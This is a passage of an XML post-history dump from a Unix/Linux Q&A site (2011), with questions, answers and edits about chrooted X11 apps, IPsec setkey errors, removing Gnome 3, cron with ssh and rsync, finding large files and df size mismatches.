  <row Id="25982" PostHistoryTypeId="2" PostId="10757" RevisionGUID="7de5a9dc-7708-4ded-83e6-3212c4489da6" CreationDate="2011-04-06T16:23:38.473" UserId="6167" Text="In the absense of an installed extension, you can drag the icon for a folder to Gnome Terminal or Konsole and it will expand to the single quoted path.  First type `cd` followed by a space, then drag the icon over and press enter.  And naturally, you can use this with other commands like mv, cp, etc.  I think Konsole might actually pop-up with a menu asking whether you want just the path or the full cd command saving some typing." />
  <row Id="25983" PostHistoryTypeId="2" PostId="10758" RevisionGUID="384af89f-e154-44ad-9332-7157becb4af9" CreationDate="2011-04-06T16:30:37.857" UserId="6344" Text="I have a number of solaris 9 and 10 sparc servers (no RAID) that are custom dvd jumpstarts provided by SONUS Networks for their softswitch VOIP products. Normal install process would be to use the DVD supplied by SONUS to do a reinstall from scratch in the event of failure. Since we deploy our softswitches to unmanned locations having someone manually do a rebuild and reconfiguration of the servers is not the best. We have out of bound access to the machines ALOMS so running commands from OpenBoot is not a problem.&#xD;&#xA;&#xD;&#xA;i have looked at using puppet in combination with theforeman to provide network jumpstart installs and software configuration, but due to the way the custom SONUS DVDs were created a network jumpstart has been problematic and would require us to recreate the entire install process which would involve modifying the SONUS custom scripts which we don't feel comfortable doing. The best solution to us would to image/clone a server and then in the event of a failure have the option to do a install of that image/clone from a local linux server. Hopefully being able to leverge DHCP and NFS.&#xD;&#xA;&#xD;&#xA;Any ideas would be very helpful. Thank you." />
  <row Id="25984" PostHistoryTypeId="1" PostId="10758" RevisionGUID="384af89f-e154-44ad-9332-7157becb4af9" CreationDate="2011-04-06T16:30:37.857" UserId="6344" Text="imaging/cloning with DHCP network rebuilding/recovery of solaris 9 and 10 sparc servers." />
  <row Id="25985" PostHistoryTypeId="3" PostId="10758" RevisionGUID="384af89f-e154-44ad-9332-7157becb4af9" CreationDate="2011-04-06T16:30:37.857" UserId="6344" Text="ésolarisà" />
  <row Id="25987" PostHistoryTypeId="2" PostId="10760" RevisionGUID="ad9a6150-e3b9-45d7-9a48-04903106dcce" CreationDate="2011-04-06T17:05:47.827" UserId="6167" Text="If you're trying to get any chrooted app to show up in X11, you will need a couple of things set up correctly.  One is a valid DISPLAY environment variable, second is a proper Xauthority file, and third and most important, access to the socket used by X11/Xorg.  X11 can use either a TCP network socket or a Unix Domain socket.  A TCP socket will be easier to use from a chroot, but most modern desktops have TCP turned off with `-nolisten tcp` or something similar set on the X server.  TCP sockets start at TCP port 6000 for display :0 up through 6063 for the last display.  As long as TCP sockets are listening, you shouldn't need to do anything more with sockets.  You still need to worry about DISPLAY and Xauthority.  Unix domain sockets require a little more work and At least on Linux, reside under `/tmp/.X11-unix/X?` where ? is a number from 0 to 63.  If your chroot resided on the same filesystem as /tmp then you can use hard links, at least on Linux.  Symbolic links won't leave a chroot.  Replace ? with the correct display number:&#xD;&#xA;&#xD;&#xA;    mkdir /path/to/chroot/tmp&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp&#xD;&#xA;    mkdir /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    ln /tmp/.X11-unix/X? /path/to/chroot/tmp/.X11-unix/X?&#xD;&#xA;&#xD;&#xA;If /tmp is not on the same file system, life is harder and you will need some kind of hackery such as making /tmp/.X11-unix a symbolic link to the corresponding directory under the chroot.  Next, make sure the DISPLAY environment variable is set and matches what is used by your terminal and other X11 apps.  Lastly, to copy over the .Xauthority, use xauth.  You need to find the matching cookie for your X11 session and this cookie will be different for every session.  Use `xauth list` to print out all cookies.  The name will look like host:? or host/unix:? where host is the hostname of the computer and ? is the display number.  The display number can be retrieved with `echo $DISPLAY` and it will be the number following the colon (:) and before any period (.)  To copy over the Xauthority, use something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract /path/to/chroot/.Xauthority host/unix:1&#xD;&#xA;    xauth -f /path/to/chroot/.Xauthority list&#xD;&#xA;&#xD;&#xA;The second command simple list the copied entries.  If you need to copy while using sudo or other command to change users, try something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract - host/unix:1 | sudo xauth -f /path/to/chroot/.Xauthority merge -&#xD;&#xA;&#xD;&#xA;If the place you put the .Xauthority file is not the home directory for the chrooted user, you will have to set the XAUTHORITY environment variable:&#xD;&#xA;&#xD;&#xA;    export XAUTHORITY=/path/to/chroot/.Xauthority&#xD;&#xA;&#xD;&#xA;As you can probably tell, it's not typical to run a GUI app under a chroot." />
  <row Id="25988" PostHistoryTypeId="5" PostId="10760" RevisionGUID="06aeee25-5e1a-4a6e-9c4a-49c0c8c90b0c" CreationDate="2011-04-06T17:13:51.237" UserId="6167" Comment="improved formatting and mentioned the need to recreate hard link" Text="If you're trying to get any chrooted app to show up in X11, you will need a couple of things set up correctly.  One is a valid `DISPLAY` environment variable, second is a proper Xauthority file, and third and most important, access to the socket used by X11/Xorg.  X11 can use either a TCP network socket or a Unix Domain socket.  A TCP socket will be easier to use from a chroot, but most modern desktops have TCP turned off with `-nolisten tcp` or something similar set on the X server.  TCP sockets start at TCP port 6000 for display :0 up through 6063 for the last display.  As long as TCP sockets are listening, you shouldn't need to do anything more with sockets.  You still need to worry about DISPLAY and Xauthority.  Unix domain sockets require a little more work and, at least on Linux, reside under `/tmp/.X11-unix/X?` where ? is a number from 0 to 63.  If your chroot resided on the same filesystem as `/tmp` then you can use hard links, at least on Linux.  Symbolic links won't leave a chroot.  Replace ? with the correct display number:&#xD;&#xA;&#xD;&#xA;    mkdir /path/to/chroot/tmp&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp&#xD;&#xA;    mkdir /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    ln -f /tmp/.X11-unix/X? /path/to/chroot/tmp/.X11-unix/X?&#xD;&#xA;&#xD;&#xA;`mkdir` and `chmod` only need to be done once, but the socket file will need to be recreated with `ln` on each X session.  If `/tmp` is not on the same file system, life is harder and you will need some kind of hackery such as making `/tmp/.X11-unix` a symbolic link to the corresponding directory under the chroot.  Next, make sure the `DISPLAY` environment variable is set and matches what is used by your terminal and other X11 apps.  Lastly, to copy over the `.Xauthority`, use `xauth`.  You need to find the matching cookie for your X11 session and this cookie will be different for every session.  Use `xauth list` to print out all cookies.  The name will look like `host:?` or `host/unix:?` where host is the hostname of the computer and ? is the display number.  The display number can be retrieved with `echo $DISPLAY` and it will be the number following the colon (:) and before any period (.)  To copy over the Xauthority, use something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract /path/to/chroot/.Xauthority host/unix:1&#xD;&#xA;    xauth -f /path/to/chroot/.Xauthority list&#xD;&#xA;&#xD;&#xA;The second command simple list the copied entries.  If you need to copy while using sudo or other command to change users, try something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract - host/unix:1 | sudo xauth -f /path/to/chroot/.Xauthority merge -&#xD;&#xA;&#xD;&#xA;If the place you put the `.Xauthority` file is not the home directory for the chrooted user, you will have to set the `XAUTHORITY` environment variable:&#xD;&#xA;&#xD;&#xA;    export XAUTHORITY=/path/to/chroot/.Xauthority&#xD;&#xA;&#xD;&#xA;As you can probably tell, it's not typical to run a GUI app under a chroot." />
  <row Id="25989" PostHistoryTypeId="2" PostId="10761" RevisionGUID="e4b22bad-a358-4497-9d40-64463c9a62bd" CreationDate="2011-04-06T17:19:46.800" UserId="6346" Text="Probably, you would need to edit the only one file i.e. ffmpeg_frame.c&#xD;&#xA;&#xD;&#xA;#replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- ffmpeg_frame.c&#xD;&#xA;#./configure&#xD;&#xA;#make&#xD;&#xA;#make install &#xD;&#xA;&#xD;&#xA;This should install the ffmpeg-php on the server and you will need to add the ffmpeg.so file to your php.ini file like&#xD;&#xA;&#xD;&#xA;extension=ffmpeg.so&#xD;&#xA;&#xD;&#xA;Restart apache on the server once extension added.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25990" PostHistoryTypeId="2" PostId="10762" RevisionGUID="4429eebe-eda6-4f7e-ae9e-dad43d639f78" CreationDate="2011-04-06T17:35:21.883" UserId="2180" Text="I'm trying to setup an IPsec connection between two Linux systems. I've enabled the kernel options [mentioned on the IPsec Howto][1].&#xD;&#xA;&#xD;&#xA;I've setup a `setkey` script like this:&#xD;&#xA;&#xD;&#xA;    #! /usr/sbin/setkey -vf&#xD;&#xA;    add 192.168.210.1 192.168.210.2 esp 24501 -E 3des-cbc  &quot;123456789012123456789012&quot;;&#xD;&#xA;    add 192.168.210.1 192.168.210.2 ah 24500 -A hmac-md5 &quot;1234567890123456&quot;;&#xD;&#xA;&#xD;&#xA;The results come back with &quot;Protocol not supported&quot; (details below). I've double checked the kernel settings using `/proc/config.gz`: Every one of the options mentioned in the howto has a 'y'. What else might I be missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # /flash/ipsec &#xD;&#xA;    sadb_msg{ version=2 type=3 errno=0 satype=3&#xD;&#xA;      len=16 reserved=0 seq=0 pid=23105&#xD;&#xA;    sadb_ext{ len=4 type=9 }&#xD;&#xA;    sadb_key{ bits=192 reserved=0&#xD;&#xA;      key= 03000500 ff200000 02000000 44f2adbf 00000000 00000000 }&#xD;&#xA;    sadb_ext{ len=2 type=1 }&#xD;&#xA;    sadb_sa{ spi=24501 replay=0 state=0&#xD;&#xA;      auth=0 encrypt=3 flags=0x00000040 }&#xD;&#xA;    sadb_ext{ len=2 type=19 }&#xD;&#xA;    sadb_x_sa2{ mode=0 reqid=0&#xD;&#xA;      reserved1=52 reserved2=2 sequence=1076530488 }&#xD;&#xA;    sadb_ext{ len=3 type=5 }&#xD;&#xA;    sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }&#xD;&#xA;    sockaddr{ len=16 family=2 port=0&#xD;&#xA;     44f2adbf  }&#xD;&#xA;    sadb_ext{ len=3 type=6 }&#xD;&#xA;    sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }&#xD;&#xA;    sockaddr{ len=16 family=2 port=0&#xD;&#xA;     b86ae316  }&#xD;&#xA;    &#xD;&#xA;    sadb_msg{ version=2 type=3 errno=93 satype=3&#xD;&#xA;      len=2 reserved=0 seq=0 pid=23105&#xD;&#xA;    &#xD;&#xA;    The result of line 2: Protocol not supported.&#xD;&#xA;    sadb_msg{ version=2 type=3 errno=0 satype=2&#xD;&#xA;      len=15 reserved=0 seq=0 pid=23105&#xD;&#xA;    sadb_ext{ len=3 type=8 }&#xD;&#xA;    sadb_key{ bits=128 reserved=0&#xD;&#xA;      key= 02000000 44f2adbf 00000000 00000000 }&#xD;&#xA;    sadb_ext{ len=2 type=1 }&#xD;&#xA;    sadb_sa{ spi=24500 replay=0 state=0&#xD;&#xA;      auth=2 encrypt=0 flags=0x00000040 }&#xD;&#xA;    sadb_ext{ len=2 type=19 }&#xD;&#xA;    sadb_x_sa2{ mode=0 reqid=0&#xD;&#xA;      reserved1=52 reserved2=2 sequence=1076530488 }&#xD;&#xA;    sadb_ext{ len=3 type=5 }&#xD;&#xA;    sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }&#xD;&#xA;    sockaddr{ len=16 family=2 port=0&#xD;&#xA;     44f2adbf  }&#xD;&#xA;    sadb_ext{ len=3 type=6 }&#xD;&#xA;    sadb_address{ proto=255 prefixlen=32 reserved=0x0000 }&#xD;&#xA;    sockaddr{ len=16 family=2 port=0&#xD;&#xA;     b86ae316  }&#xD;&#xA;    &#xD;&#xA;    sadb_msg{ version=2 type=3 errno=93 satype=2&#xD;&#xA;      len=2 reserved=0 seq=0 pid=23105&#xD;&#xA;    &#xD;&#xA;    The result of line 3: Protocol not supported.&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ipsec-howto.org/x304.html" />
  <row Id="25991" PostHistoryTypeId="1" PostId="10762" RevisionGUID="4429eebe-eda6-4f7e-ae9e-dad43d639f78" CreationDate="2011-04-06T17:35:21.883" UserId="2180" Text="Getting &quot;Protocol not supported&quot; from setkey: why?" />
  <row Id="25992" PostHistoryTypeId="3" PostId="10762" RevisionGUID="4429eebe-eda6-4f7e-ae9e-dad43d639f78" CreationDate="2011-04-06T17:35:21.883" UserId="2180" Text="élinuxàéipsecà" />
  <row Id="25993" PostHistoryTypeId="5" PostId="10760" RevisionGUID="ce00991d-55e0-4c82-a070-2e3cda088d58" CreationDate="2011-04-06T17:35:57.287" UserId="6167" Comment="improved instructions" Text="If you're trying to get any chrooted app to show up in X11, you will need a couple of things set up correctly.  One is a valid `DISPLAY` environment variable, second is a proper Xauthority file, and third and most important, access to the socket used by X11/Xorg.  X11 can use either a TCP network socket or a Unix Domain socket.  A TCP socket will be easier to use from a chroot, but most modern desktops have TCP turned off with `-nolisten tcp` or something similar set on the X server.  TCP sockets start at TCP port 6000 for display :0 up through 6063 for the last display.  As long as TCP sockets are listening, you shouldn't need to do anything more with sockets.  You still need to worry about DISPLAY and Xauthority.  Unix domain sockets require a little more work and, at least on Linux, reside under `/tmp/.X11-unix/X?` where ? is a number from 0 to 63.  If your chroot resided on the same filesystem as `/tmp` then you can use hard links, at least on Linux.  Symbolic links won't leave a chroot.  Replace ? with the correct display number:&#xD;&#xA;&#xD;&#xA;    mkdir /path/to/chroot/tmp&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp&#xD;&#xA;    mkdir /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    chmod 1777 /path/to/chroot/tmp/.X11-unix&#xD;&#xA;    ln -f /tmp/.X11-unix/X? /path/to/chroot/tmp/.X11-unix/X?&#xD;&#xA;&#xD;&#xA;`mkdir` and `chmod` only need to be done once, but the socket file will need to be recreated with `ln` on each X session.  If `/tmp` is not on the same file system, life is harder and you will need some kind of hackery such as making `/tmp/.X11-unix` a symbolic link to the corresponding directory under the chroot.  Next, make sure the `DISPLAY` environment variable is set and matches what is used by your terminal and other X11 apps.  Lastly, to copy over the `.Xauthority`, use `xauth`.  You need to find the matching cookie for your X11 session and this cookie will be different for every session.  Use `xauth list $DISPLAY` to print out cookies for your `DISPLAY`.  The name will look like `host:?` or `host/unix:?` where host is the hostname of the computer and ? is the display number.  The display number can be retrieved with `echo $DISPLAY` and it will be the number following the colon (:) and before any period (.)  To copy over the Xauthority, use something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract /path/to/chroot/.Xauthority host/unix:1&#xD;&#xA;    xauth -f /path/to/chroot/.Xauthority list&#xD;&#xA;&#xD;&#xA;The second command simple list the copied entries.  If you need to copy while using sudo or other command to change users, try something like this:&#xD;&#xA;&#xD;&#xA;    xauth extract - host/unix:1 | sudo xauth -f /path/to/chroot/.Xauthority merge -&#xD;&#xA;&#xD;&#xA;If the place you put the `.Xauthority` file is not the home directory for the chrooted user, you will have to set the `XAUTHORITY` environment variable:&#xD;&#xA;&#xD;&#xA;    export XAUTHORITY=/path/to/chroot/.Xauthority&#xD;&#xA;&#xD;&#xA;As you can probably tell, it's not typical to run a GUI app under a chroot." />
  <row Id="25994" PostHistoryTypeId="2" PostId="10763" RevisionGUID="4946afe9-5363-481e-9f7f-42120cccc267" CreationDate="2011-04-06T17:50:09.627" UserId="2180" Text="These kernel config settings do the trick:&#xD;&#xA;&#xD;&#xA;    CONFIG_INET_XFRM_MODE_TRANSPORT=y&#xD;&#xA;    CONFIG_INET_XFRM_MODE_TUNNEL=y" />
  <row Id="25995" PostHistoryTypeId="2" PostId="10764" RevisionGUID="5eb91488-e2fb-4794-a627-1811d0e39ca0" CreationDate="2011-04-06T17:54:23.153" UserId="5430" Text="I am on Debian Squeeze. In over-enthusiasm I added an experimental repo and installed gnome3 (here is the evil discussion on installing Gnome3 http://forums.debian.net/viewtopic.php?f=6&amp;t=60481 ) and now I am awe and shock to see only Gnome3 as available desktop session apart from failsafe :( I know I did a total stupid thing but now, is it possible to remove Gnome3? And is it possible to have both Gnome3 and Gnome2.x both on my box? FYI, I tried `aptitude remove` but it didn't help." />
  <row Id="25996" PostHistoryTypeId="1" PostId="10764" RevisionGUID="5eb91488-e2fb-4794-a627-1811d0e39ca0" CreationDate="2011-04-06T17:54:23.153" UserId="5430" Text="How to remove Gnome 3 and restore gnome2.x" />
  <row Id="25997" PostHistoryTypeId="3" PostId="10764" RevisionGUID="5eb91488-e2fb-4794-a627-1811d0e39ca0" CreationDate="2011-04-06T17:54:23.153" UserId="5430" Text="édebianàégnomeà" />
  <row Id="25998" PostHistoryTypeId="2" PostId="10765" RevisionGUID="a21a2637-1f73-485b-a3cf-3b0d8855f5f2" CreationDate="2011-04-06T17:58:36.300" UserId="2343" Text="It is as simple as a few entries in `nautilus-actions`  GUI..  &#xD;&#xA;&#xD;&#xA; * ..Command: gnome-terminal&#xD;&#xA; * Parameters: --window --maximize --working-directory=%d&#xD;&#xA; * and a couple of other equally easy options.&#xD;&#xA;&#xD;&#xA;You cand get Nautilus Actiona* via the command: `sudo apt-get install nautilus-actions`  &#xD;&#xA;&#xD;&#xA;When you have installed it, run `nautilus-actions-config-tool`  (to get started)  &#xD;&#xA;&#xD;&#xA;... and you can use Nautilus for **much** more than just this script..." />
  <row Id="25999" PostHistoryTypeId="5" PostId="10765" RevisionGUID="11a94ba5-3236-4059-a94a-51d7466c323f" CreationDate="2011-04-06T18:04:52.830" UserId="2343" Comment="deleted 1 characters in body; added 153 characters in body" Text="It is as simple as a few entries in `nautilus-actions`  GUI..  &#xD;&#xA;Any 'actions' you create are available via a right-click of the moust, and optionally also via the Nautilus' Toolbar (and I think also via the menu).  &#xD;&#xA;&#xD;&#xA; * ..Command: gnome-terminal&#xD;&#xA; * Parameters: --window --maximize --working-directory=%d&#xD;&#xA; * and a couple of other equally easy options.&#xD;&#xA;&#xD;&#xA;You can get Nautilus Actions* via the command: `sudo apt-get install nautilus-actions`  &#xD;&#xA;&#xD;&#xA;When you have installed it, run `nautilus-actions-config-tool`  (to get started)  &#xD;&#xA;&#xD;&#xA;... and you can use Nautilus for **much** more than just this script..." />
  <row Id="26000" PostHistoryTypeId="25" PostId="10762" RevisionGUID="f6527b69-ddf6-47c2-89a1-10a3d3ef0d3f" CreationDate="2011-04-06T18:09:01.593" Comment="http://twitter.com/#!/StackUnix/status/55693507398082560" />
  <row Id="26001" PostHistoryTypeId="5" PostId="10765" RevisionGUID="01d6ded4-b32a-4786-982e-2954aec45565" CreationDate="2011-04-06T18:10:30.487" UserId="2343" Comment="added 1 characters in body" Text="It is as simple as a few entries in `nautilus-actions`  GUI..  &#xD;&#xA;Any 'actions' you create are available via a right-click of the mouse, and also via the Nautilus' Toolbar if you wish (and I think also via the menu).  &#xD;&#xA;&#xD;&#xA; * ..Command: gnome-terminal&#xD;&#xA; * Parameters: --window --maximize --working-directory=%d&#xD;&#xA; * and a couple of other equally easy options.&#xD;&#xA;&#xD;&#xA;You can get Nautilus Actions* via the command: `sudo apt-get install nautilus-actions`  &#xD;&#xA;&#xD;&#xA;When you have installed it, run `nautilus-actions-config-tool`  (to get started)  &#xD;&#xA;&#xD;&#xA;... and you can use Nautilus for **much** more than just this script..." />
  <row Id="26002" PostHistoryTypeId="5" PostId="10765" RevisionGUID="607be229-e5a1-4429-aa93-97ee7226a35c" CreationDate="2011-04-06T18:16:15.847" UserId="2343" Comment="added 48 characters in body; edited body" Text="If you are using Nautilus as your 'File Browser', it is as simple as a few entries in `nautilus-actions`  GUI...  Any 'actions' you create are available via a right-click of the mouse, and also via the Nautilus Toolbar if you wish (and I think also via the menu).  &#xD;&#xA;&#xD;&#xA; * ..Command: gnome-terminal&#xD;&#xA; * Parameters: --window --maximize --working-directory=%d&#xD;&#xA; * and a couple of other equally easy options.&#xD;&#xA;&#xD;&#xA;You can get Nautilus Actions* via the command: `sudo apt-get install nautilus-actions`  &#xD;&#xA;&#xD;&#xA;When you have installed it, run `nautilus-actions-config-tool`  (to get started)  &#xD;&#xA;&#xD;&#xA;... and you can use Nautilus for **much** more than just this script..." />
  <row Id="26003" PostHistoryTypeId="2" PostId="10766" RevisionGUID="25a79f60-02fd-4fd3-9fb3-b3121a131f93" CreationDate="2011-04-06T18:18:31.347" UserId="4361" Text="I am wondering how to change the time format when I am modifying a time with the touch command in the c shell.&#xD;&#xA;&#xD;&#xA;For example I need to use&#xD;&#xA;&#xD;&#xA;    touch -a -t 051512002015 file.txt&#xD;&#xA;&#xD;&#xA;This will change the access time to April 15th 2015, 12:00.  &#xD;&#xA;&#xD;&#xA;What I want to do though is (notice year is first now)&#xD;&#xA;&#xD;&#xA;    touch -a -t 201505151200 file.txt&#xD;&#xA;&#xD;&#xA;This is how touch works in Linux.  I use UnxUtils on Windows, which I am almost sure uses c-shell touch.  I want the commands to be consistent.  Is it possible to change the c-shell touch command?" />
  <row Id="26004" PostHistoryTypeId="1" PostId="10766" RevisionGUID="25a79f60-02fd-4fd3-9fb3-b3121a131f93" CreationDate="2011-04-06T18:18:31.347" UserId="4361" Text="Change the time format for the touch command in BSD." />
  <row Id="26005" PostHistoryTypeId="3" PostId="10766" RevisionGUID="25a79f60-02fd-4fd3-9fb3-b3121a131f93" CreationDate="2011-04-06T18:18:31.347" UserId="4361" Text="écommandölineàéwindowsàébsdà" />
  <row Id="26006" PostHistoryTypeId="2" PostId="10767" RevisionGUID="38c83018-4cb7-4c43-8f4d-74a16d4d7f00" CreationDate="2011-04-06T18:19:19.823" UserId="6167" Text="First try some simple cronjobs and build from here:&#xD;&#xA;&#xD;&#xA;    0 12 * * * user echo 'Hello, World!' &gt;&gt; /tmp/test.log 2&gt;&amp;1&#xD;&#xA;    1 12 * * * user ssh anotheruser@anotherhost ls &gt;&gt; /tmp/test.log 2&gt;&amp;1&#xD;&#xA;    2 12 * * * user rsync -e ssh anotheruser@anotherhost:/path/to/small/dir /tmp/test-dir &gt;&gt; /tmp/test.log 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Avoid using too many options at first, but using `2&gt;&amp;1` is important for getting any error messages.  You could also use `2&gt;/tmp/test-error.log` to send them to a separate file.  Normally, cron generates an email if, and only if, there is any output.  This mail is sent to the email address mentioned in the MAILTO environment variable set in crontab or to the local unix user the job is run as if MAILTO is not set.  If you don't have a mail server installed or are unsure how to access it, then you can just redirect all output to a file instead.  Another thing to look at is setting SHELL.  By default, cron uses /bin/sh which is normally just fine, and may even be a symlink to /bin/bash on some systems, but if not and you expect to use bash-isms in your command, you can add `SHELL=/bin/bash` or whatever is appropriate before your job listings.&#xD;&#xA;&#xD;&#xA;Another issue I can see with your above crontabs is spaces.  Since the commands work at a normal shell, it's probably not the issue, but do be wary of using spaces when using certain remote ssh commands like: `ssh server ls &quot;Music Videos&quot;`, spaces in such commands need to be double escaped due to the fact that both the local shell and remote shell may interpret them.  The correct command should be something like this: `ssh server ls &quot;Music\\ Videos&quot;` or `ssh server ls '&quot;Music Videos&quot;'`&#xD;&#xA;&#xD;&#xA;The last thing I can think of is that ssh is failing authentication.  I assume you are using public key authentication.  Where is your public key being stored?  Is it in `~/.ssh/id_rsa` as an unencrypted private key, or do you have it loaded in a SSH Public Key Agent?  If it's loaded in an agent because the on-disk copy is encrypted, you will need to make sure SSH_AUTH_SOCK is manually set in crontab to point to an agent that will be running when rsync does.  I normally keep my private keys encrypted on-disk and keep ssh-agent running in the background with a fixed socket path.  For example, I run `ssh-agent -a /tmp/user.agent` followed by `SSH_AUTH_SOCK=/tmp/user.agent ssh-add .ssh/id_rsa` to load in the private key to the agent.  I have these two commands in a script that I run manually after each reboot since I need to enter in a passphrase to unlock the private key.  Then I have `SSH_AUTH_SOCK=/tmp/user.agent` in my crontab file for my automatic cronjobs to use." />
  <row Id="26007" PostHistoryTypeId="2" PostId="10768" RevisionGUID="ff2c0154-7073-43a4-9c24-19ba6281785a" CreationDate="2011-04-06T18:21:32.687" UserId="6215" Text="Hello,&#xD;&#xA;&#xD;&#xA;can you help me with command that will print the sizes of all files and directories in the tmp directory (hidden too) and sort them by sizes from&#xD;&#xA;largest to smallest in human readable format? (e.g. 2 GB).&lt;br&gt;&#xD;&#xA;The output could be as follows:&lt;br&gt;&#xD;&#xA;file.mpg 2GB&lt;br&gt;&#xD;&#xA;file.avi 1.8GB&lt;br&gt;&#xD;&#xA;.backtup 1.7 GB (this is directory)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I tried to use ls and du commands but was not able to find the right switches.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="26008" PostHistoryTypeId="1" PostId="10768" RevisionGUID="ff2c0154-7073-43a4-9c24-19ba6281785a" CreationDate="2011-04-06T18:21:32.687" UserId="6215" Text="Find biggist files or directories" />
  <row Id="26009" PostHistoryTypeId="3" PostId="10768" RevisionGUID="ff2c0154-7073-43a4-9c24-19ba6281785a" CreationDate="2011-04-06T18:21:32.687" UserId="6215" Text="écommandölineàéshellöscriptà" />
  <row Id="26010" PostHistoryTypeId="2" PostId="10769" RevisionGUID="a2bc722a-fd6f-41d0-8c85-2c556f3aecd4" CreationDate="2011-04-06T18:29:35.930" UserId="6167" Text="Here's a quick fix, use du + sort.  Try this:&#xD;&#xA;&#xD;&#xA;    du -smc * | sort -n&#xD;&#xA;&#xD;&#xA;This will ignore hidden files, but that's another easy fix:&#xD;&#xA;&#xD;&#xA;    du -smc .[^.] .??* * | sort -n&#xD;&#xA;&#xD;&#xA;This may cause warnings about if one or more of the above patterns don't match a file.  The first pattern `.[^.]` matches all two character filenames starting with . except for .., the second pattern, `.??*` matches all three letter or more filenames starting with . and * matches all files not starting with .  For a more sophisticated listing such as finding all file larger than X across a whole filesystem, or maintaining a list of filesystem growth, I have some DIY shell script I've written and can share if your interested." />
  <row Id="26011" PostHistoryTypeId="2" PostId="10770" RevisionGUID="b2875407-10c5-4f1a-b1bf-1fb5bae07ed1" CreationDate="2011-04-06T18:33:42.540" UserId="6167" Text="Try using `apt-get purge whatever-gnome-package-I-installed`  You can find a list of all packages marked ii with `dpkg -l 'gnome-*'`  After that, try `apt-get autoremove --purge`  Then make sure you remove the experimental repo before reinstalling gnome." />
  <row Id="26017" PostHistoryTypeId="4" PostId="10768" RevisionGUID="c90cc47d-a91f-487d-8e66-f07cc70dc0fb" CreationDate="2011-04-06T18:49:23.337" UserId="6215" Comment="edited title" Text="Find bigest files or directories" />
  <row Id="26023" PostHistoryTypeId="2" PostId="10776" RevisionGUID="b5ee0bf3-c4f1-4ed2-8387-e878626b4b91" CreationDate="2011-04-06T19:28:39.577" UserId="6215" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a partition /dev/sda1.&lt;br&gt;&#xD;&#xA;Disk utility shows, it has capacity of 154 GB.&lt;br&gt;&#xD;&#xA;**df -h** shows&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/sda1             123G  104G   14G  89% /&#xD;&#xA;    devtmpfs             1006M  280K 1006M   1% /dev&#xD;&#xA;    none                 1007M  276K 1006M   1% /dev/shm&#xD;&#xA;    none                 1007M  216K 1006M   1% /var/run&#xD;&#xA;    none                 1007M     0 1007M   0% /var/lock&#xD;&#xA;    none                 1007M     0 1007M   0% /lib/init/rw&#xD;&#xA;&#xD;&#xA;Why are the results different? Where are the missing 31 GB?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26024" PostHistoryTypeId="1" PostId="10776" RevisionGUID="b5ee0bf3-c4f1-4ed2-8387-e878626b4b91" CreationDate="2011-04-06T19:28:39.577" UserId="6215" Text="Why are partion size and df output different?" />
  <row Id="26025" PostHistoryTypeId="3" PostId="10776" RevisionGUID="b5ee0bf3-c4f1-4ed2-8387-e878626b4b91" CreationDate="2011-04-06T19:28:39.577" UserId="6215" Text="épartitionàédisköusageà" />
  <row Id="26027" PostHistoryTypeId="2" PostId="10778" RevisionGUID="40b24c14-7553-40ee-85a4-9563a25d3bfb" CreationDate="2011-04-06T19:46:32.943" UserId="4671" Text="One reason the partition capacities can differ is that some space is reserved for root, in the event the partitions become full. If there is no space reserved for root, and the partitions become full, the system cannot function. However, this difference is usually of the order of 1%, so that does not explain the difference in your case. does your filesystem extend over the whole of your partition?&#xD;&#xA;&#xD;&#xA;Does&#xD;&#xA;&#xD;&#xA;    resize2fs /dev/sda1&#xD;&#xA;&#xD;&#xA;make any difference? This command tries to increase your filesystem to cover the entire partition. But make sure you have a backup if you try this." />
  <row Id="26028" PostHistoryTypeId="2" PostId="10779" RevisionGUID="a2defe7a-c65b-46f1-857b-89cc208f2599" CreationDate="2011-04-06T19:46:53.633" UserId="6167" Text="pam_krb5.so was configured to acquire AFS tokens for a non-existent shell which had a 30 second timeout halting any authentication using that module, not just SSH.  Removed that and authentication happens much quicker." />
  <row Id="26029" PostHistoryTypeId="5" PostId="10778" RevisionGUID="5d0f3d15-7b12-4d94-9bde-d1c2b232aa0f" CreationDate="2011-04-06T19:57:06.103" UserId="4671" Comment="added 433 characters in body" Text="One reason the partition capacities can differ is that some space is reserved for root, in the event the partitions become full. If there is no space reserved for root, and the partitions become full, the system cannot function. However, this difference is usually of the order of 1%, so that does not explain the difference in your case. From the man page for df&#xD;&#xA;&#xD;&#xA;&gt; If  an  argument  is the absolute file&#xD;&#xA;&gt; name of a disk device node containing&#xD;&#xA;&gt; a mounted file system, df shows the&#xD;&#xA;&gt; space available on that file system&#xD;&#xA;&gt; rather than on the file system&#xD;&#xA;&gt; containing the device node (which is&#xD;&#xA;&gt; always the root file system).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So df is really showing the size of your filesystem, which is usually the size of the device, but this may not be true in your case. Does your filesystem extend over the whole of your partition?&#xD;&#xA;&#xD;&#xA;Does&#xD;&#xA;&#xD;&#xA;    resize2fs 